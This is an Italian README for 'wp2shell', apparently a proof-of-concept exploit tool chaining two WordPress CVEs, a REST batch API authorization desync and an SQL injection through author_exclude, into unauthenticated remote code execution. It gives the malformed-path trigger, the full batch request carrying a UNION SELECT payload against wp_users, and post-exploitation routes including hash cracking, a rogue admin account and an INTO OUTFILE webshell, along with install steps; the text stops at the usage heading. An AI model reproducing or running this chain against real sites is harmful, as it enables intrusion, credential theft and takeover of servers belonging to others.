wp2shell

PoC RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. Eseguire questo strumento contro sistemi senza autorizzazione scritta è illegale. Gli autori non si assumono alcuna responsabilità per usi impropri.

---

Panoramica

wp2shell è un exploit proof-of-concept che concatena due vulnerabilità segnalate in modo indipendente per ottenere l'esecuzione remota di codice non autenticata su installazioni WordPress non aggiornate.

CVE	Componente	Classe	Autenticazione richiesta
CVE-2026-63030	REST Batch API (WP_REST_Server)	Desync di array → bypass autenticazione	Nessuna
CVE-2026-60137	WP_Query	SQL injection tramite author__not_in	Nessuna (bypassata dalla precedente)

Il risultato finale: una shell sulla macchina, un account amministratore abusivo o un hash di credenziali estratto — tutto da una singola richiesta POST non autenticata.

Versioni interessate: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corretto in: WordPress 6.9.5 / 7.0.2 (patch rilasciata insieme alla divulgazione coordinata)

---

Analisi della vulnerabilità

CVE-2026-63030 — Desync di array nella REST Batch API (Bypass autenticazione)

Contesto

WordPress 5.6 ha introdotto l'endpoint di elaborazione batch su /wp-json/batch/v1. Consente ai client REST autenticati di raggruppare più sotto-richieste in un singolo round-trip HTTP. Ogni sotto-richiesta viene validata e inviata in modo indipendente da WP_REST_Server::serve_batch_request_v1().

Il percorso di codice vulnerabile

All'interno di serve_batch_request_v1() (semplificato):

$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Perché si rompe

I due array ($responses e $matches) dovrebbero rimanere sincronizzati — una voce per sotto-richiesta, stesso indice. Quando la sotto-richiesta [0] fallisce wp_parse_url(), aggiunge una voce a $responses ma non a $matches. Dopo il primo loop:

$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

Il Loop 2 quindi invia $matches[0] e scrive il risultato in $responses[0]. Sta inviando la richiesta[1] ma sovrascrivendo l'indice 0 nelle risposte — e, cosa critica, utilizza il contesto di autorizzazione calcolato come parte della gestione dell'errore della richiesta[0] fallita, non il contesto di autorizzazione per l'endpoint di destinazione.

L'effetto pratico: qualsiasi endpoint che richiede autenticazione (inclusi gli endpoint che eseguono query SQL) può essere chiamato senza credenziali.

Il trigger

"path": "://\x00"   # triggers wp_parse_url() → false

La stringa ://\x00 è una stringa Python valida ma un URL non valido nel wrapper wp_parse_url() di PHP (il byte nullo causa il fallimento del parsing, restituendo false anziché un WP_Error, il che rende inutile il controllo is_wp_error() — solo $parsed === false lo intercetta, e l'allineamento dell'array è già compromesso a quel punto).

---

CVE-2026-60137 — SQL Injection in WP_Query tramite author__not_in

Contesto

La REST API di WordPress per i post (/wp/v2/posts) espone un parametro di query author_exclude che viene mappato direttamente sull'argomento author__not_in di WP_Query. WP_Query è l'astrazione core del database utilizzata per quasi ogni query di contenuto in WordPress.

Il percorso di codice vulnerabile

In WP_Query::parse_query() (semplificato):

$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Più avanti in WP_Query::get_posts():

if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Perché si rompe

La sanificazione viene attivata solo quando $author__not_in è un array. Il sistema di tipi di PHP lo determina in base a come è arrivato il valore:

• Corpo JSON con array → PHP riceve [1, 2, 3] → is_array() = true → sanificato
• Query string URL → PHP riceve "1,2,3" (una stringa) → is_array() = false → non sanificato

L'endpoint REST accetta author_exclude dalla query string dell'URL. Arriva come stringa. WP_Query salta il blocco di sanificazione e il valore grezzo viene interpolato nella clausola SQL WHERE.

Sfruttamento

Il punto di injection si trova all'interno di un contesto NOT IN (...):

-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Poiché l'endpoint batch invia la sotto-richiesta come parte di un risultato di query più ampio, le righe della UNION vengono restituite nel corpo della risposta JSON REST, rendendo questa un'estrazione Boolean/UNION blind-free — nessun timing, nessun out-of-band necessario.

---

Catena di exploit

Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

---

Requisiti

Python >= 3.8
requests
cloudscraper

Installa le dipendenze:

pip install requests cloudscraper

---

Utilizzo